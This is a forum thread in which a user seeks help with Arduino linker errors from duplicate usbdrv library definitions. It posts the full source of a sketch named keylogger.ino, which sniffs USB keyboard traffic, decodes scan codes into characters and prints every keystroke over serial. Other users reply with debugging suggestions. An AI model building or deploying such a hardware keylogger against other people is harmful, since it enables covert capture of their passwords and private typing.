Compiling problems. I have the next errors:

My project

Arduino: 1.6.7 (Windows 7), Плата:"Arduino Mini, ATmega328"

c:/program files (x86)/arduino/hardware/tools/avr/bin/../lib/gcc/avr/4.8.1/../../../../avr/bin/ld.exe: Warning: size of symbol `usbRxBuf' changed from 22 in sketch\usbdrv\usbdrv.c.o to 11 in sketch\keylogger.ino.cpp.o

libraries\usbdrv\usbdrvasm.S.o: In function `__vector_1':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm16.inc:35: multiple definition of `__vector_1'

sketch\usbdrv\usbdrvasm.S.o:C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm16.inc:35: first defined here

libraries\usbdrv\usbdrvasm.S.o: In function `usbCrc16':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm.S:230: multiple definition of `usbCrc16'

sketch\usbdrv\usbdrvasm.S.o:sketch\usbdrv/usbdrvasm.S:230: first defined here

libraries\usbdrv\usbdrvasm.S.o: In function `usbCrc16Append':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm.S:262: multiple definition of `usbCrc16Append'

sketch\usbdrv\usbdrvasm.S.o:sketch\usbdrv/usbdrvasm.S:262: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbSetInterrupt'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbPoll'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbTxLen'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorDevice'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorConfiguration'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorString0'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorStringVendor'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorStringDevice'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbInit'

sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

collect2.exe: error: ld returned 1 exit status

exit status 1
Compiling error

How can I solve it?

Instead of including a link to a RAR file which people have to download, virus scan and open, why not simply include your code between code tags in your post ?

Because there are problems with linking. I don’t know what include.

I’m sure that there aren’t mistakes in this code:

#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
// библиотека для работы с протоколом USB
#include <usbdrv.h>
// библиотека для работы с Serial-портом
#include <uart.h>
 
// PID      8 бит идентификатор
// ADDR     7 бит адрес устройства
// Endpoint 4 бита номер конечной точки
// CRC      5 бит контрольная сумма
// итого 3 байта
#define IN_SIZE       3
 
// PID  8 бит идентификатор
// DATA 64 бита данные
// CRC  16 бит контрольная сумма
// итого 11 байт
#define USB_BUFSIZE   11
 
// количество принятых пакетов хранимых в памяти
// должно быть четным и соблюдаться условие
// (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
#define FIFO_BUF_SIZE 10
 
// RX буфер: 3 байта запроса IN + 11 байт данных DATAx
unsigned char usbRxBuf[USB_BUFSIZE];
 
unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
 
// номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurWritePos = 0;
// номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
unsigned char CurReadPos  = 0;
 
// массив символов для декодирования скан-кодов при не нажатой клавиши Shift
unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
 
// массив символов для декодирования скан-кодов при зажатой клавиши Shift
unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
 
void setup()
{
  // открываем последовательный порт
  Serial.begin(19200);
  // настраиваем прерывание
  usbInit();
  // печатаем о готовности устройства
  Serial.print("UART init complet");
  // разрешаем прерывания
  sei();
}
 
void loop()
{
  // если сработало прерывание
  // то переменная CurWritePos изменит своё значение
  if (CurWritePos != CurReadPos) {
    // вызываем функцию printResult
    printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
    CurReadPos++;
    if (CurReadPos >= FIFO_BUF_SIZE) {
    CurReadPos = 0;
    }
  }
}
 
void printResult(uchar *datakey, uchar len)
{
  bool shift = 0;
  // если во время очередного нажатия на клавишу
  // была нажата кнопка Shift
  if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
  shift = 1;
  else
  shift = 0;
  // если 3 байт из массива данных пришёл не нулевой
  // значит нажата одна из клавиш
  if (*(datakey + 3) != 0) {
    // вызываем функцию печати символа
    printKey(*(datakey + 3), shift);
  }
}
 
void printKey(uchar key, bool shift)
{
  // если нажата одна из клавиш английского алфавита
  if (key >= 0x4 && key <= 0x27) {
    // если нажат Shift декодируем скан-коды как заглавные буквы
    if (shift == 1) {
      Serial.write(masskeyShift[key-4]);
    } else {
      // если нет декодируем скан-коды как строчные буквы
      Serial.write(masskey[key-4]);
    }
  } else if (key == 0x28) {
    // если пришел скан-код клавиши Enter
    Serial.print("\r\n");
  } else if (key == 0x2B) {
    // если пришел скан-код клавиши Tab
    Serial.print("\t");
  } else if (key == 0x2C) {
    // если пришел скан-код клавиши Space
    Serial.print(" ");
  } else if (key >= 0x2d && key <= 0x38) {
    // если пришел сканд-код из знаков пунктуации
    if (shift == 1)
    Serial.write(masskeyShift[key - 9]);
    else
    Serial.write(masskey[key - 9]);
  } else {
    // если пришёл скан-код которого мы не знаем
    // печатаем его без декодирования
    printHex(key);
  }
}

and… many libraries

In the windows Arduino IDE, where you edit your sketch, is there a second tab with another sketch loaded (see attachment):
multi-tab.PNG